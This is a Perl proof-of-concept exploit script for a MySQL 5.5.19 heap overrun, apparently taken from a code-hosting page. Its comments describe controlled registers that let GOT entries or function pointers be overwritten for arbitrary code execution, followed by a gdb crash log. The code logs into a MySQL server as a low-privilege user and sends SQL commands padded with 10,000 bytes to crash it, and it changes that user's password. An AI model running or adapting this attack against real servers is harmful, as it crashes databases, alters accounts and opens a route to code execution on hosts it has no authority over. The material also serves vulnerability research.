89 lines
No EOL
3.7 KiB
Perl
Executable file
89 lines
No EOL
3.7 KiB
Perl
Executable file
# MySQL Heap Overrun
|
|
# tested for the latest version of mysql server on a SuSE Linux system
|
|
#
|
|
# As seen below $edx and $edi are fully controlled,
|
|
# the current instruction is
|
|
# => 0x83a6b24 <free_root+180>: mov (%edx),%edi
|
|
# this means we landed in a place where 4 bytes can be controlled by 4 bytes
|
|
# with this function pointers and GOT entries can be rewritten to execute arbritrary code
|
|
#
|
|
# a user account (with less privileges) is needed
|
|
# beware: this script will change the users password to an undefined value
|
|
#
|
|
|
|
=for comment
|
|
Program received signal SIGSEGV, Segmentation fault.
|
|
[Switching to Thread 0xa86b3b70 (LWP 9219)]
|
|
free_root (root=0x8e7c714, MyFlags=1) at /root/mysql-5.5.19/mysys/my_alloc.c:369
|
|
369 old=next; next= next->next;
|
|
(gdb) bt
|
|
#0 free_root (root=0x8e7c714, MyFlags=1) at /root/mysql-5.5.19/mysys/my_alloc.c:369
|
|
#1 0x082a2e9f in cleanup (thd=0x8e7b9b8, all=true) at /root/mysql-5.5.19/sql/sql_class.h:1709
|
|
#2 ha_rollback_trans (thd=0x8e7b9b8, all=true) at /root/mysql-5.5.19/sql/handler.cc:1401
|
|
#3 0x0824a747 in trans_rollback (thd=0x8e7b9b8) at /root/mysql-5.5.19/sql/transaction.cc:260
|
|
#4 0x081897a7 in THD::cleanup (this=0x8e7b9b8) at /root/mysql-5.5.19/sql/sql_class.cc:1271
|
|
#5 0x08140fc3 in thd_cleanup (thd=0x8e7b9b8) at /root/mysql-5.5.19/sql/mysqld.cc:2026
|
|
#6 unlink_thd (thd=0x8e7b9b8) at /root/mysql-5.5.19/sql/mysqld.cc:2075
|
|
#7 0x08141088 in one_thread_per_connection_end (thd=0x8e7b9b8, put_in_cache=true) at /root/mysql-5.5.19/sql/mysqld.cc:2188
|
|
#8 0x0823eab3 in do_handle_one_connection (thd_arg=0x8e7b9b8) at /root/mysql-5.5.19/sql/sql_connect.cc:796
|
|
#9 0x0823ebbc in handle_one_connection (arg=0x8e7b9b8) at /root/mysql-5.5.19/sql/sql_connect.cc:708
|
|
#10 0xb7744b05 in start_thread () from /lib/libpthread.so.0
|
|
#11 0xb750fd5e in clone () from /lib/libc.so.6
|
|
(gdb) i r
|
|
eax 0x8ec63b8 149709752
|
|
ecx 0xa86b326c -1469369748
|
|
edx 0x5a5a5a5a 1515870810
|
|
ebx 0x880eff4 142667764
|
|
esp 0xa86b31b0 0xa86b31b0
|
|
ebp 0xa86b31d8 0xa86b31d8
|
|
esi 0x8e7c714 149407508
|
|
edi 0x5a5a5a5a 1515870810
|
|
eip 0x83a6b24 0x83a6b24 <free_root+180>
|
|
eflags 0x210293 [ CF AF SF IF RF ID ]
|
|
cs 0x73 115
|
|
ss 0x7b 123
|
|
ds 0x7b 123
|
|
es 0x7b 123
|
|
fs 0x0 0
|
|
gs 0x33 51
|
|
(gdb) x/10i $eip
|
|
=> 0x83a6b24 <free_root+180>: mov (%edx),%edi
|
|
0x83a6b26 <free_root+182>: je 0x83a6b33 <free_root+195>
|
|
0x83a6b28 <free_root+184>: mov %edx,(%esp)
|
|
0x83a6b2b <free_root+187>: call 0x83acb70 <my_free>
|
|
0x83a6b30 <free_root+192>: mov 0x8(%esi),%eax
|
|
0x83a6b33 <free_root+195>: test %edi,%edi
|
|
0x83a6b35 <free_root+197>: jne 0x83a6b20 <free_root+176>
|
|
0x83a6b37 <free_root+199>: test %eax,%eax
|
|
0x83a6b39 <free_root+201>: movl $0x0,(%esi)
|
|
0x83a6b3f <free_root+207>: movl $0x0,0x4(%esi)
|
|
(gdb)
|
|
=cut
|
|
|
|
use Net::MySQL;
|
|
use Encode;
|
|
$|=1;
|
|
|
|
my $mysql = Net::MySQL->new(
|
|
hostname => '192.168.2.3',
|
|
database => "test",
|
|
user => "user",
|
|
password => "test",
|
|
debug => 0,
|
|
port => 3306,
|
|
);
|
|
|
|
@commands = ('USE d', 'SHOW TABLES FROM d', "DESCRIBE t", "SHOW FIELDS FROM t", "SHOW COLUMNS FROM t", "SHOW INDEX FROM t",
|
|
"CREATE TABLE table_name (c CHAR(1))", "DROP TABLE t", "ALTER TABLE t DROP c",
|
|
"DELETE FROM t WHERE 1=1", "UPDATE t SET a=a","SET PASSWORD=PASSWORD('p')");
|
|
|
|
foreach my $command (@commands) {
|
|
for ($k=0;$k<length($command);$k++) {
|
|
$c = substr($command, 0, $k) . "Z" x 10000 . substr($command, $k+1);
|
|
$c2 = substr($command, 0, $k) . "AAAA..AA" . substr($command, $k+1);
|
|
|
|
print "$c2";
|
|
$mysql->query($c);
|
|
}
|
|
}
|
|
$mysql->close; |